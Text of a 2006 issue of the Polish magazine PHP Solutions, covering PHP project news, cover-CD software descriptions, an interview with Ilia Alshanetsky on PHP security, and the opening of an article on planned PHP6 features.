To najbardziej znany i najlepszy system e-learningu Open Source stworzony w PHP. Obsługuje aż 73 wersje językowe i zgodny jest z takimi standardami jak SCORM. Kursy dydaktyczne mogą być umieszczane w rozmaity sposób w różnej formie (pliki mutlimedialne, dokumenty tekstowe w różnych formatach, prezentacje itd.). System posiada trzy kategorie użytkowników: admin, nauczyciel i uczeń. Instalacja systemu jest prawie automatyczna. Moodle działa na PHP 4/PHP 5, MySQL/ PostreSQL i Apache/IIS. Dostępnych jest wiele dodatkowych modułów i pakietów językowych. Na stronie Moodle'a zarejestrowanych jest ponad 70 tyś użytkowników, mówiących w 70 językach i pochodzących ze 138 krajów. W sumie istnieje prawie 10 tyś stron używających Moodle'a ze 150 krajów z całego świata (wykaz znajduje się na stronie domowej projektu), co stanowi jego najlepszą rekomendację. Strona projektu zawiera obszerną dokumentację, FAQ, wersję DEMO oraz statystyki mówiące o tym, jak kształtuje się społeczność używająca Moodle'a (ok. 40 tyś nowych użytkowników rocznie, a liczba stron używających Moodle'a w ciągu roku wzrosła 5-krotnie, z 2 to 10 tyś). Na stronie znajdziemy też Roadmap z całkiem ambitnymi planami rozbudowy systemu na najbliższy rok. http://moodle.org

PHP Solutions Nr 3/2006

www.phpsolmag.org

9

Aktualności
Phalanger, czyli migracja z .NET do PHP

PEAR::PHP_Compat, czyli PHP 5 w PHP 4

Phalanger pozwala na kompilację aplikacji stworzonej w PHP do .NET, czyli jej uruchomienie na platformie ASP.NET. Żeby przeprowadzić kompilację, będziemy potrzebowali: systemu Windows, frameworka .NET w wersji.1.1 i serwera IIS. Phalanger tłumaczy kod PHP 5 na język MSIL platformy .NET i zintegrowany jest z Visual Studio .NET. Można kompilować PHP-owe aplikacje do osobnych programów, jak też do pojedynczych bibliotek. Niedawno ukazała się pierwsza stabilna wersja Phalangera (1.0), która wspiera wiele nowych rozszerzeń takich jak ODBC czy WinBinder. Dodano obsługę najnowszego MySQL-a, nowe funkcjonalności z PHP 5.1.2 oraz naprawiono wiele błędów. Na stronie projektu znajdziemy dokumentację oraz ciekawe i zaskakujące benchmarki (np. Phalanger/MSSQL kontra PHP/MSSQL lub Phalanger/IIS kontra PHP/IIS). Można też zobaczyć przykładowe aplikacje, które zostały przekompilowane do .NET, np.: phpMyAdmin, phpBB czy PHP-Nuke. Z Roadmapy projektu można się dowiedzieć o wielu ciekawych zmianach, które zostaną przeprowadzone w kolejnych wersjach aplikacji, np. wspraciu dla .NET Framework 2.0 i Mono. http://www.php-compiler.net/

D

obre rozwiązanie dla tych, którzy z jakichś powodów nie mogą sobie pozwolić na nowe środowisko – PHP 5 na serwerze WWW, a stawiane aplikacje wymagają tej wersji języka. PHP Compat to zbiór funkcji z PHP 5 napisanych powtórnie specjalnie dla PHP 4. Pakiet jest na bieżąco rozwijany i gdy tylko pojawiają się nowe funkcje w PHP 5, są tworzone ich odpowiedniki w PHP 4. PHP

Compat nie jest zwykłym pakietem PEAR – nie trzeba go instalować. Wystarczy pobrać pliki i umieścić je tam, gdzie wskazuje opcja include_path w php.ini. Pakiet rozwijany jest od połowy 2004 roku. W tym czasie naprawiono kilka błędów i napisano kilkadziesiąt funkcji. Licencja: PEAR, PHP License http://pear.php.net/package/PHP_Compat

MD-Pro

M

Pakiet łat bezpieczeństwa dla aplikacji PHP

Hardening-Patch to zestaw łat, który zapewnia zwiększone bezpieczeństwo serwera WWW oraz aplikacji pisanych w PHP. Pakiet obecnie liczy 16 łat, m.in.: ochrona przed uploadowanymi zainfekowanymi plikami czy przed atakami HTTP Response Splitting. Deweloperzy projektu świadczą wsparcie, publikują artykuły i organizują audyty bezpieczeństwa. Oficjalnie określili wydanie PHP Security Consortium Guide mianem szkodliwej lektury. Licencja: BSD http://www.hardened-php.net/

PEAR::Image_3D

Image_3D to pakiet dla PHP 5 umożliwiający tworzenie grafiki 3D. Pozwala na tworzenie różnych trójwymiarowych obiektów i definiowane własnych. Zapewnia nawet import plików popularnego programu 3DSMax. Grafiki wyjściowe tworzy za pośrednictwem GD, SVG lub ASCII. Pakietowi brakuje niestety dokumentacji dla użytkownika, przykładów i tutoriali. Licencja: LGPL http://pear.php.net/package/Image_3D

D-Pro to łatwy w użyciu, administracji i utrzymaniu CMS tworzony przez skupiającą profesjonalistów PHP społeczność MaxDev. Jest to system modularny (podobnie jak np. XOOPS, czy Drupal), z możliwością rozszerzania instalacji o wybrane z repozytorium czy tworzone indywidualnie moduły. Wśród dostępnych modułów warto wymienić: e-commerce (sklepy, systemy płatności np. PayPall); zarządzanie projektami, kalendarze, organizatory pracy; galerie zdjęć, fora, czaty; zaawansowane systemy menu, statystyki, narzędzia do zarządzania serwerem; sondy, newsletter, zdalne nauczanie. CMS zapewnia wielojęzyczność, łatwość modyfikacji i dostosowania szablonów oraz pozycjonowanie bloków na stronie WWW. MD-Pro oferuje póki co wsparcie dla MySQL-a i Oracle'a. Posiada rozbudowany, przejrzysty panel administracyjny z możliwością elastycznego i swobodnego zarządzania uprawnieniami, grupami i użytkownikami. Mamy do wyboru cztery różne typy panelu administracyjnego (np. z grafi-

kami lub bez). Bloki umieszczamy w dziewięciu różnych pozycjach na stronie i możemy swobodnie zmieniać ich szablony. MD-Pro oferuje też menedżer plików oraz narzędzia do backupowania i optymalizacji bazy danych. Do edycji artykułów służy RTE Editor. Mamy też wbudowany mechanizm statystyk. MD-Pro jest w 98% kompatybilny z modułami, blokami i szablonami z PostNuke i eNvolution. Projekt posiada międzynarodowe wsparcie w wielu językach. Dużym plusem projektu jest obszerna i przejrzysta dokumentacja. Licencja: GPL http://www.maxdev.com/

Nitro Web Framework

Nitro to profesjonalny framework wykorzystujący Ruby i Javascript. Oferuje wyjątkowo przejrzyste API i mapowanie ORM. Wykorzystuje AJAX-a i XML-a. Jednym słowem: RAD (Rapid Application Development) dla programistów PHP. Licencja: BSD http://www.nitrohq.com/

phpDataCache

PhpDataCache to biblioteka oferująca proste API do cachowania danych w zmiennych PHP. Wspiera wiele różnych DAO (Data Access Objects) w zależności od zastosowania. Licencja: LGPL http://sourceforge.net/projects/phpdatacache/

10

www.phpsolmag.org

PHP Solutions Nr 3/2006

Opis CD
ConTEXT Editor

C

onTEXT to wielookienkowy edytor programistyczny, ułatwiający tworzenie aplikacji w PHP, Pythonie, Perlu, Javie, Javascripcie i sporej liczbie innych języków. Pozwala na zakładanie projektów obejmujących zestaw plików, rejestrację i uruchamianie makr czy stosowanie szablonów kodu. To ostatnie robi duże wrażenie: możemy dodawać nowe i edytować istniejące wzorce (np. klasy czy funkcje), a następnie jednym naciśnięciem CTRL+J wklejać je w dowolnym miejscu. Edycję ułatwiają również zakładki, które umieszczamy w wybranych liniach, a później możemy się do nich odwoływać. Bardzo wygodne jest zaznaczanie dowolnego fragmentu kodu: możemy wybrać prostokątny blok np. od dziesiątej do piętnastej kolumny. Przydatne jest też porównywanie zawartości dwóch plików czy wyszukiwanie i zamiana przy użyciu wyrażeń regularnych. ConTEXT pozwala również na przechwytywanie wyników działania programów uruchamianych w linii poleceń. Interfejs edytora ConTEXT jest wielojęzyczny: wśród dostępnych wersji znaj-

duje się m.in. polska, francuska, niemiecka i włoska. Podsumowując: ConTEXT to darmowy produkt porównywalny z niektórymi rozwiązaniami komercyjnymi, zdecydo-

wanie wart zainteresowania każdego programisty piszącego w PHP i nie tylko. Licencja: freeware http://www.context.cx

PHP Expert Debugger i PHP Expert Editor

P

HP Expert Debugger to darmowe i łatwe w użyciu narzędzie służące do debuggowania skryptów napisanych w PHP. Program korzysta z DBG PHP Debugger firmy Nusphere i pozwala debugować skrypty zarówno poprzez sieć, jak i na lokalnych maszynach. Skrypty można uruchamiać w trybie krok-po-kroku w celu śledzenia wartości dowolnej zmiennej oraz wyniku skryptu. Debugger posiada przyjazny interfejs, a jego dodatkową zaletą jest możliwość integracji ze środowiskami programistycznymi dla PHP oraz edytorami. PHP Expert Editor to kolejny przedstawiany przez nas edytor dedykowany PHP. Twórcy przedstawiają go nawet jako łatwe w użyciu IDE (ang. Integrated Development Environment). Edytor zaprojektowany został z myślą o raczej zaawansowanych programistach PHP, choć posiada funkcje przyjazne także początkującym. Wśród wielu funkcjonalności wymienić warto wbudowany serwer HTTP (można używać także zewnętrznych serwerów) oraz Debugger w którym możemy uruchamiać, testować i debugować two-

rzone skrypty. Program posiada obowiązkowe podświetlanie składni, wbudowaną przeglądarkę, funkcję przeszukiwania kodu, wyszukiwania plików, klienta FTP,

przeglądarkę tworzonych projektów, przeglądarkę bibliotek, system szablonów kodu oraz inne raczej oczywiste funkcje (jak różne tryby podświetlania).

12

www.phpsolmag.org

PHP Solutions Nr 3/2006

Opis CD
JFFNMS – Just For Fun Network Management System

J

FFNMS to rozbudowane narzędzie do zarządzania i nadzorowania sieci lokalnej, działające w przeglądarce internetowej. Pozwala śledzić ruch wchodzący i wychodzący i sporządzać szczegółowe raporty i statystyki, obejmujące m.in. liczbę przesyłanych bajtów, procent wykorzystania łącza, liczbę pakietów (w tym błędnych) na sekundę, ilość połączeń (również połączenia odrzucone), komunikację TCP (połączenia przychodzące, wychodzące, nawiązane i opóźnione), liczbę użytkowników oraz zużycie pamięci i dysków czy procesora, jak też działanie oprogramowania serwerowego, np. Apache'a. Możemy też monitorować zawartość przesyłaną przez porty TCP. Program informuje użytkownika o zdarzeniach zachodzących w sieci (m.in. przez RSS, e-mail czy RDF), a także pozwala eksport zebranych danych do pliku CSV czy sporządzanie wykresów na ich podstawie. JFFNMS integruje się z popularnymi narzędziami administratorskimi, takimi jak Smokeping, fping, NMAP, Linux TC, Tatacs, IPTables, NTP czy MSyslog, a także z występującym w każdej dystrybucji Linuksa cronem (menedżer planowanych zadań). JFFNMS został napisany w PHP (współpracuje z PHP5) i jest aplikacją

obiektową. Do działania wymaga PHP, Apache'a i bazy danych (MySQL lub PostgreSQL). Jak zapewnia producent, program powinien działać pod każdym systemem operacyjnym, dla którego istnieje PHP. (był testowany na Linuksie, FreeBSD i Windows 2000). Oprócz tego, wymaga Apache'a, bazy danych (MySQL lub PostgreSQL) oraz narzędzi: RRDtool, NMAP i GNU Diff. Opcjonalnie, przyda się również serwer TFTP i trapd, na-

rzędzia NET-SNMP, biblioteki Graphviz i Webfonts czy skaner portów NMAP. Instalacja pakietu jest prosta i dobrze opisana. Podsumowując: JFFNMS to narzędzie, które przyda się każdemu administratorowi i właścicielowi sieci komputerowej, który chce orientować się w wykorzystaniu swoich zasobów.

Licencja: GNU GPL http://www.jffnms.org

Filmy tutorialowe

W

poprzednim numerze PHP Solutions zamieściliśmy na płycie komercyjne filmy firmy KeyStone Learning. W tym numerze zamieściliśmy kompletne tutoriale user_login, user_memberlist i user_memberlist2. Są to trzy filmy pokazujące tworzenie oprogramowania w PHP (opracowane zostały na podstawie wersji PHP4) przy użyciu edytora programistycznego ConTEXT. Są całkiem długie (razem ponad godzinę) i wyczerpujące. Na pierwszym z nich pokazane jest, jak napisać formularz logowania oraz skrypt, który go obsługuje. Dwa kolejne demonstrują tworzenie aplikacji pozwalającej na przeglądanie oraz edycję listy użytkowników. Wszystkie filmiki opatrzone są narracją, w której programista prowadzi widza krok po kroku przez wszystkie etapy tworzenia tych programów. Szczególny nacisk kładziony jest na pokazanie zagadnień związanych z bezpieczeństwem (m.in. oczyszczanie danych pobieranych z formularza poprzez eskejpowanie czy usuwanie

tagów HTML-owych) oraz łączeniem z bazami danych. Podsumowując: opisane filmy

są ciekawą propozycją, choć raczej dla początkujących programistów.

PHP Solutions Nr 3/2006

www.phpsolmag.org

13

Opis CD
IMP Webmail Client

I

MP to program pocztowy działający w przeglądarce internetowej. Umożliwia dostęp do kont IMAP oraz POP3, co wyróżnia go pozytywnie pośród innych klientów, których funkcjonalność przeważnie ogranicza się do obsługi kont IMAP-owych. Należy jednak wspomnieć, że w obu przypadkach wymaga obsługi IMAP przez serwer, na którym zainstalowane jest PHP. Interfejs programu IMP jest przejrzysty i wygodny w obsłudze. Bardzo dobre wrażenie sprawia edytor typu WYSIWYG do tworzenia wiadomości. Poza tym, IMP zapewnia obsługę (w tym przeszukiwanie) wielu kont mailowych jednocześnie, możliwość stosowania kryptografii, poprawiony w stosunku do wersji poprzedniej support typów MIME czy elastyczność w wyborze i zmianie aktualnej strony kodowej. Wiadomości są posegregowane na wielopoziomowe foldery. Możemy też przeszukiwać zgromadzone listy i zapisywać wyniki poszukiwań do późniejszego wykorzystania. Projekt dzieli się na dwie gałęzie (obie stabilne) – 4.0 oraz 3.2.8, które minimalnie różnią się pod względem możliwości. Do działania, IMP wymaga PHP (wersja 4.3.0), biblioteki UW-IMAP c-client oraz

frameworka Horde (do którego zresztą należy) w wersji 3.0 lub nowszej. Podsumowując: jeden z lepszych klientów mailowych; twórcom należy się uznanie za to, że nie zapomnieli o użytkownikach kont POP3. Warto wiedzieć i pamiętać o istnieniu tego typu aplikacji, bo mogą one być

bardzo pomocne. Możliwość sprawdzania poczty w dowolnym miejscu (z dostępem do sieci), na dowolnym komputerze wyposażonym w przeglądarkę internetową jest często nieoceniona. Licencja: GNU GPL http://www.horde.org/imp

PHP Solutions Live – opis płyty CD

N

a płycie CD ponownie zamieściliśmy PHP Solutions Live – bootowalną dystrybucję Linuksa opartą na Aurox Live 11. Bazowa zawartość dystrubucji w zasadzie się nie zmieniła. Stanowi ona kompletną platformę testową, zawierającą PHP5, bazę danych MySQL, serwer WWW Apache oraz przeglądarkę Firefox. Pozwala na testowanie i modyfikowanie opisanych w artykułach aplikacji, a także tworzenie i korzystanie z własnych skryptów (należy je umieszczać w katalogu /var/www/html). Aby uruchomić dystrybucję, należy wystartować komputer z płyty CD

(może okazać się konieczne ustawienie w BIOS-ie komputera odpowiedniej opcji). Po uruchomieniu systemu, ukaże się okno przeglądarki internetowej, zawierające menu płyty podzielone na kategorie. To samo menu dostępne jest w przypadku korzystania z płyty na zainstalowanym systemie. Pierwszą z nich są rozwiązania z artykułów. Ten odnośnik działa jednak tylko w systemie Live. Znajdują się tam rozwiązania z artykułów jak system eyeOS (użytkownik:root; hasło:admin) oraz Ampache (użytkownik: admin; hasło:admin). Niżej znajdziecie filmy, które można odtwarzać jednym kliknięciem z poziomu Live. W następnych pozycjach menu znajdziecie aplikacje, które zmieściły się na płycie oraz książki w formacie PDF. PHP Solutions Live pozwala na korzystanie z dysków twardych (wszystkie partycje są automatycznie montowane podczas startu systemu) oraz sieci lokalnej i Internetu. Sieć trzeba najpierw skonfigurować. Możecie to

zrobić na kilka sposobów. Pierwszym z nich jest użycie działającego w trybie graficznym narzędzia (system-network-config). Menu systemu dostępne jest po kliknięciu prawym przyciskiem myszki na pulpicie. Drugą metodą jest wywołanie polecenia netconfig z terminala. Po jego użyciu trzeba zrestartować sieć poleceniem service network restart. Kolejnym sposobem jest użycie trzech komend linuksowych: ifconfig urządzenie adres _ IP , route
add default internetowej

adres _ IP" > /etc/resolv.conf.

oraz echo

gw

adres _ bramki _ "nameserver

Życzymy miłej pracy z Livem i czekamy na Wasze sugestie, Redakcja PHP Solutions.

14

www.phpsolmag.org

PHP Solutions Nr 3/2006

Na CD
Przetestuj aplikacje bez instalacji! 3 nowe książki elektroniczne
Byte of Python Version Control with Subversion Prolog and Natural – Language Analisis

HIT Kursy Video: User Login i User Memberlist – obejrzyj w Live!

Aplikacje Context Editor – edytor wykorzystany w kursach video DzSoft PHP Editor – wydłużony 45 dniowy trial Quick Web Photo Resizer – wydłużony 45 dniowy trial PHP Expert Editor – shareware PHP Expert debugger – shareware

Rozwiązania z artykułów w PHP Solutions LiveCD EyeOS Ampache

Wszystkie listingi z artykułów zostały zamieszczone na naszej stronie internetowej pod adresem www.phpsolmag.org/pl

Wszystkie listingi z artykułów zostały zamieszczone na naszej stronie internetowej pod adresem www.phpsolmag.org/pl

Wywiad

Wywiad z Ilią Alshanetskym
Ilia jest głównym architektem oprogramowania w Advanced Internet Designs Inc, firmie oferującej wsparcie oraz usługi deweloperskie dla szerokiej gamy podmiotów, zarówno komercyjnych jak i rządowych, głównie w zakresie technologii PHP. Poza zaangażowaniem w przedsięwzięcia komercyjne, Ilia uczestniczy też w wielu projektach typu Open Source. Jest twórcą FUDForum i autorem książki „PHP Security Guide”. Jako deweloper bierze udział w rozwijaniu wielu rozszerzeń języka PHP: między innymi PDO, GD, SQLite.
PHP Solutions: W jaki sposób zaczęła się Twoja przygoda z PHP, w szczególności z aspektami bezpieczeństwa? Ilia Alshanetsky: Używam PHP od około 8 lat, zaś przez ostatnie 4-5 lat aktywnie współuczestniczę w rozwijaniu tej technologii. Bezpieczeństwo aplikacji jest jednym z tych aspektów, do których zawsze przywiązuję dużą wagę przy projektowaniu aplikacji. Za każdym razem, kiedy piszę nowy fragment kodu, staram się myśleć o konsekwencjach wykorzystania tworzonego właśnie rozwiązania, głównie w kontekście bezpieczeństwa. Uważam po prostu, że bezpieczeństwo aplikacji jest jednym z tych elementów funkcjonalności, których zwyczajnie nie da się dodać później. Od ponad dwóch lat staram się promować i usprawniać mechanizmy bezpieczeństwa PHP. PHPS: Jak Twoim zdaniem prezentują się rozwiązania związane z zapewnieniem bezpieczeństwa PHP (i aplikacji WWW) w odniesieniu do takich platform jak Java lub ASP. Czy w porównaniu z technologią PHP mechanizmy te wyróżniają się czymś szczególnym? Ilia: Moim zdaniem główną siłą języka PHP jest łatwość jego używania. Innymi słowy: niemalże każdy po przyswojeniu podstawowych informacji, może praktycznie z miejsca zacząć pisać działające programy w oparciu o PHP. Jednak nie na tym polega prawdziwa sztuka inżynierii oprogramowania. Chodzi o to, że ludzie którzy piszą programy, których celem jest „tylko” działać, często zapominają o innych ważnych kwestiach. Jedną z takich kwestii jest właśnie bezpieczeństwo aplikacji. Programistom wydaje się zazwyczaj, że PHP niejako automatycznie rozwiązuje wszystkie związane z tym problemy. Niestety, jak pewno zdajesz sobie z tego sprawę, osoby myślące w ten sposób są w dużym błędzie. W konsekwencji mamy na rynku nawał aplikacji zbudowanych przy użyciu PHP, które pod względem bezpieczeństwa są, delikatnie mówiąc, niezadowalające. Na dodatek, wielu autorów takich aplikacji dokleja skrót PHP do nazw swoich produktów, po to aby ludzie kojarzyli je z tą technologią. Przykłady takiego marketingowego zabiegu można mnożyć: PHPNuke, PHPBB, phpMyAdmin i tak dalej... Konsekwencje są takie, że jeśli we wspomnianych produktach znajdowane są dziury, to wiele osób wyrabia sobie automatycznie zdanie, że problem leży w samym PHP. Problem w tym, że ludzie słabo obeznani z informatyką (a w szczególności nieobeznani z PHP) nie do końca rozpoznają różnicę pomiędzy językiem PHP, a aplikacją pisaną w tym języku. Za to Ci, którzy te różnicę rozumieją, często mimo to wyrabiają sobie mylne zdanie na zasadzie rozumowania: skoro wszystkie te duże, poważne (i popularne) projekty mają luki w zabezpieczeniach to musi być to wina PHP. Przecież autorzy tych projektów nie mogą się wszyscy naraz mylić... Z technicznego punktu widzenia, PHP nie jest bardziej czy mniej bezpieczne niż Java czy .NET. Jednak dziwnym trafem mało kto zakłada, że Java sama z siebie gwarantuje bezpieczeństwo tworzonych w niej aplikacji. A w przypadku PHP takie założenie jest niemalże na porządku dziennym. PHPS: Jesteś autorem książki PHP Security Guide. Na czym głównie skupiłeś się przygotowując tę pozycję? Ilia: Starałem skupić się na najczęściej wykorzystywanych słabych punktach istniejących w mechanizmach bezpieczeństwa Internetu, oczywiście ze szczególnym ukierunkowaniem na problemy związane z PHP. Mam tu na myśli takie zjawiska jak ataki

16

www.phpsolmag.org

PHP Solutions Nr 3/2006

Wywiad

XSS (ang. Cross Site Scripting), fałszowanie żądań (ang. Request Forgery), wstrzykiwanie kodu SQL (ang. SQL Injection) i tak dalej. Celem mojej książki było przedstawienie wspomnianych form ataków, wyjaśnienie na czym polegają niebezpieczeństwa z nimi związane i wreszcie: pokazanie, w jaki sposób techniki te są w praktyce nadużywane. Byłbyś prawdopodobnie zdziwiony, gdybyś wiedział jak wielu ludzi (zarówno programistów jak i menedżerów IT) wykazuje nagminną i niemalże irracjonalną tendencję do ignorowania tego typu problemów. Weźmy na przykład atak XSS: wiele osób argumentuje, że technika ta wymaga specjalnych technik socjologicznych w celu jej zastosowania i przez to mało kto jej używa. Ponieważ tego typu argumenty ocierają się o nonsens, dlatego w swojej książce dosyć dużo miejsca poświęciłem na analizę wspomnianych problemów w kontekście praktycznym. PHPS: Czy mógłbyś powiedzieć coś na temat projektów, w których aktualnie bierzesz udział. Które z nich są najbardziej interesujące? I dlaczego? Ilia: Zasadniczo, niemalże o wszystkich projektach (zarówno tych otwartych jak i tych komercyjnych) w których biorę (bądź brałem) udział, mogę powiedzieć, że były interesujące. Dla przykładu, ostatnio pracuję nad aplikacją, której zadaniem jest automatyczne wykrywanie słabych punktów w systemach webowych i przygotowywanie szczegółowych raportów dla klienta. Projekt ten jest niezwykle ekscytujący i jednocześnie stanowi duże wyzwanie od strony technicznej. Poświęcam temu prawie przez cały swój wolny czas i sądzę, że jeszcze trochę potrwa, zanim dobrnę do końca. Wydaje mi się, że w perspektywie ostatniego roku było to chyba najciekawsze z moich przedsięwzięć. Oczywiście w międzyczasie zajmuję się też FUDforum, gdzie zawsze staram się prezentować coś nowego. Można powiedzieć, że prowadzę wyścig z samym sobą, starając się ulepszać to, co już robiłem wcześniej. To również jest bardzo ekscytujące zajęcie, szczególnie kiedy udaje mi się znaleźć nowe, lepsze rozwiązanie problemu, który wydawał się być już całkowicie rozłożony na łopatki. PHPS: Jakie były początki projektu FUDforum. Czy był jakiś specjalny powód, który sprawił, że się tym zająłeś? Ilia: Często odpowiadam na tego typu pytania ;-). Można powiedzieć, że projekt ruszył z dwóch powodów. Po pierwsze,

potrzebowałem biuletynu informacyjnego o bardzo dużej przepustowości i żadne z istniejących rozwiązań (zarówno darmowych jak i komercyjnych) nie odpowiadało moim potrzebom. Dodatkowo, jedno z wymagań odnośnie docelowego rozwiązania zakładało potrzebę ścisłej integracji z NNTP, w celu uzyskania obustronnej komunikacji pomiędzy forum a serwerem newsów. Po wykonaniu wstępnych badań, które miały określić, na ile opłaca się modyfikować istniejące rozwiązania w celu uzyskania wymaganej wydajności i funkcjonalności, uznałem że korzystniej będzie zbudować taki system od podstaw. I tak to się zaczęło... PHPS: Co Twoim zdaniem jest najważniejsze w kontekście przyszłości platformy PHP? Jakie zmiany należałoby według Ciebie wprowadzić tak, aby ulepszyć język, zwiększyć bezpieczeństwo aplikacji i sprawić, że PHP będzie częściej używany do budowania rozwiązań klasy Enterprise? Ilia: Cóż, wydaje mi się, że powstawanie i rozwój takich firm jak Zend, Omni Ti, Advanced Internet Designs Inc (to akurat moja firma) czy eZ Publish, daje bardzo dużo w kontekście przydatności PHP przy budowaniu zaawansowanych rozwiązań biznesowych. W przypadku dużych firm, głównym problemem jest najczęściej brak wsparcia dla danej technologii, szczególnie w sytuacjach krytycznych. Problem ten dotyka wielu przedsięwzięć typu Open Source. Deweloperska lista dyskusyjna czy też adres mailowy do autorów, to często zbyt mała gwarancja wsparcia dla dużych organizacji, które chciałby korzystać z rozwiązań otwartych. W momencie kiedy pojawiają się firmy oferujące profesjonalną pomoc w tym zakresie (w przewidywalnym czasie), sytuacja wygląda zupełnie inaczej. Inna sprawa to kwestia popularności danej technologii. Na przykład PHP jest używane do obsługi serwisu Yahoo. Fakt ten jest niezwykle istotny, głównie z tego względu, że menadżerowie lubią weryfikować swoje decyzje na podstawie decyzji podejmowanych w innych firmach. Bardzo mało jest odważnych jednostek, które decydują się wykonać pierwszy krok. Jeśli chodzi o platformę samą w sobie, to wydaje mi się, że należy zwiększyć nakład pracy nad dostarczaniem narzędzi ułatwiających i wspomagających proces budowania aplikacji oraz integrację z najnowszymi technologiami – takimi jak na przykład JSON. Ważnym aspektem wydaje się być kwestia integracji PHP z innymi platformami i językami,

takimi jak Java czy .NET. Na szczęście firmy takie jak Sun czy Zend pracują aktualnie nad tymi zagadnieniami, co wróży rychłą poprawę aktualnego stanu rzeczy. Jeśli mówimy o sprawach powiązanych z bezpieczeństwem to myślę, że warto by popracować nad usprawnieniem podstawowego pakietu narzędzi PHP, tak aby pisanie bezpiecznych aplikacji było łatwiejsze i bardziej naturalne. Dobry przykład, a jednocześnie zdecydowany krok w dobrym kierunku w tej dziedzinie stanowi rozszerzenie PHP udostępniające mechanizmy filtrowania. PHPS: Wiele rozwiązań tworzonych w PHP wzoruje się na istniejących pomysłach realizowanych na bazie innych platform, takich jak na przykład Java. Można by tu wymienić takie projekty jak SDO, PHPUnit czy iConnect, a także wiele innych. Czy sadzisz, że nadejdzie kiedyś dzień, kiedy sytuacja się odwróci i programiści Javy będą czerpać pomysły z projektów opartych na platformie PHP? Czy myślisz, że jest to w ogóle możliwe? Ilia: Nie widzę przeszkód – w końcu dobre pomysły są w dużej mierze niezależne od platformy. Prawdę mówiąc widziałem już kilka rozwiązań budowanych przy użyciu ASP/.NET, lecz opartych – w sensie koncepcyjnym – na projektach PHP. Przykładowo ASPMyAdmin odwzorowuje ideę phpMyAdmin, tyle że docelowo działa w środowisku Microsoft SQL Server. PHPS: Jakie są Twoje plany zawodowe na najbliższy czas? Zamierzasz rozpoczynać jakieś nowe projekty? Ilia: Jest jedna rzecz, którą chciałbym się w niedługim czasie zająć. Mam na myśli bibliotekę, czy może wręcz rozszerzenie PHP, pozwalające przekształcać zapytania użytkownika na format, który byłby łatwy do zastosowania przy budowaniu zapytań niskopoziomowych. Cała ta sprawa wiąże się z faktem, że ostatnio spędziłem dużo czasu na przystosowywaniu PHP do pracy z różnymi ciekawymi silnikami wyszukiwania, na przykład Xapian. W trakcie pracy okazało się, że brakuje mi udogodnień wspierających przekształcanie złożonych zapytań użytkownika na odpowiadające im zapytania do bazy danych. Sądzę, że mając wspomniane udogodnienie, można by oszczędzić sobie bardzo dużo pracy w różnego rodzaju przedsięwzięciach. n Wywiad przeprowadził Dariusz Pawłowski

PHP Solutions Nr 3/2006

www.phpsolmag.org

17

Początki

Co nowego w PHP6?
Richard Davey

Stopień trudności: lll

Jedenastego listopada, 2005 roku w Paryżu odbyło się spotkanie twórców platformy PHP. Kluczowym elementem spotkania była dyskusja nad wyznaczeniem przyszłych kierunków rozwoju dla tej technologii. W wyniku rozmów powstał protokół opisujący pomysły związane z odsłoną PHP6.

N
W SIECI
1. http://www.corephp.co.uk – Blog Richarda Daveya 2. http://www.php.net/~derick/ meeting-notes.html – sprawozdanie ze spotkania twórców PHP 3. http://shiflett.org/archive/135 – informacje na temat PHP6 na blogu Chrisa Shifletta 4. http://www.internetnews.com/ dev-news/article.php/ 3557711 – ogólne informacje na temat PHP6 5. http://www.zend.com/ collaboration – PHP Collaboration Project

iestety dokument ten, ze względu na rozmiary i poziom szczegółowości jest stosunkowo trudny w odbiorze. Dlatego też napisałem niniejszy artykuł, który w przystępny i kompaktowy sposób prezentuje wszystkie kluczowe aspekty poruszane w trakcie wspomnianej dyskusji. Dzięki temu, bez zbędnego wysiłku, każdy zainteresowany może dowiedzieć się, jakie nowe możliwości kryją się pod maską PHP6. Zanim przejdziemy do szczegółów należy jasno zaznaczyć jedno: nie ma stuprocentowej gwarancji, że udogodnienia przedstawione w dalszej części niniejszego tekstu staną się na pewno częścią specyfikacji PHP6. Prezentowane rozwiązania należy postrzegać raczej jako aktualną, aczkolwiek niezobowiązującą wizję nowej wersji PHP.

Unicode

Wsparcie dla Unicode zależy na dzień dzisiejszy od żądania klienta. Taki stan rze-

czy powoduje, że PHP musi przechowywać informacje na temat nazw klas, metod czy funkcji podwójnie: zarówno w formacie Unicode, jak i w formacie zawężonym. W rezultacie potrzeba na to wszystko dużo zasobów. Nowe podejście proponowane w PHP6 polega na tym, że kwestia wsparcia dla Unicode będzie zależna od serwera, nie od żądania. Szacuje się, że wyłączenie wsparcia dla Unicode, w przypadku kiedy funkcjonalność ta jest niepotrzebna może przyśpieszyć działanie operacji na stringach nawet o 300%, zaś działanie całej aplikacji o około 25%. Przeniesienie decyzji co do wsparcia dla Unicode do php.ini obciąża odpowiedzialnością za kontrolę tej opcji nie użytkownika (programisty), a administratora systemu, na którym uruchomiona jest aplikacja. W przypadku potrzeby samodzielnego skompilowania PHP warto mieć na uwadze, że od wersji 6 wymagane będą biblioteki ICU (oczywiście tylko wtedy, kiedy potrzebne jest wsparcie dla Unicode).

18

www.phpsolmag.org

PHP Solutions Nr 3/2006

PHP6

Początki

System przy kompilacji ogłosi błąd, jeśli wymagane biblioteki nie będą dostępne. Mówiąc krótko: trzeba będzie instalować kolejny pakiet w celu skompilowania PHP.

pozostanie mimo wszystko częścią PHP.
basedir

dl() dostępny tylko z poziomu SAPI

Żegnamy register globals

Słowo kluczowe 'var' aliasem 'public'

Tak, tak... nadszedł w końcu czas, aby pożegnać się z register globals. Wychodzi na to, że PHP6 definitywnie kończy erę skryptów pisanych w stylu PHP3 (i generalnie wszelkich skryptów wykorzystujących zmienne globalne). Jedynym wyjściem z tej sytuacji będzie przepisanie istniejącego kodu w poprawny sposób. Jest to dość śmiały, aczkolwiek już od dawna potrzebny krok ze względu na aspekt bezpieczeństwa.

W PHP4 słowo kluczowe 'var' używane było wewnątrz klas. W PHP5 postępowanie takie prowadziło do powstawania ostrzeżenia (przy korzystaniu z trybu E_ STRICT). Ostrzeżenie to ma być usunięte w PHP6, jako że słowo kluczowe 'var' ma być aliasem słowa kluczowego 'public'. Jest to miłe udogodnienie, tyle, że energia osób które poświeciły swój czas na usuwanie wspomnianych ostrzeżeń po wprowadzeniu PHP5, poszła w pewnym sensie na marne.

Każde SAPI będzie rejestrować użycie tej funkcji w razie potrzeby, przy czym jedynie CLI oraz zagnieżdżone SAPI będą mogły korzystać z tej funkcjonalności. W żadnym innym miejscu nie będzie ona dostępna.

FastCGI zawsze włączone

